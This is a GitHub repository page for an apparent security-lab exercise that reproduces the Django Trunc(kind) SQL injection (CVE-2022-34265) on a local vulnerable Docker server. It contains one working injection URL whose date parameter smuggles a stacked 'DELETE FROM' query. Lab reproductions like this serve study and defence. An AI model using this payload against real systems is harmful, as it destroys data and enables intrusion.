Skip to content

CodeByAnton/InfSecLab2

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Django Trunc(kind) SQL Injection (CVE-2022-34265)

Django is a high-level Python web framework that encourages rapid development and clean, pragmatic design.

Django released a security update on July 4, 2022, which fixes a SQL injection vulnerability in the Trunc() database functions. This vulnerability affects Django versions before 4.0.6, 3.2.14.

References:

Environment Setup

Execute the following command to start a vulnerable Django 4.0.5 server:

docker compose up

After the server is started, you can access the web page at http://localhost:8000.

Vulnerability Reproduction

The web application uses the Trunc function to aggregate page click counts by datetime. Visit http://localhost:8000/?date=minute to see the number of clicks per minute:

To exploit the SQL injection vulnerability, modify the date parameter with malicious input:

http://localhost:8000/?date=minute', NOW()) FROM vuln_weblog; DELETE FROM vuln_weblog; --  

The SQL error message will be displayed, confirming the successful injection:

About

No description, website, or topics provided.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published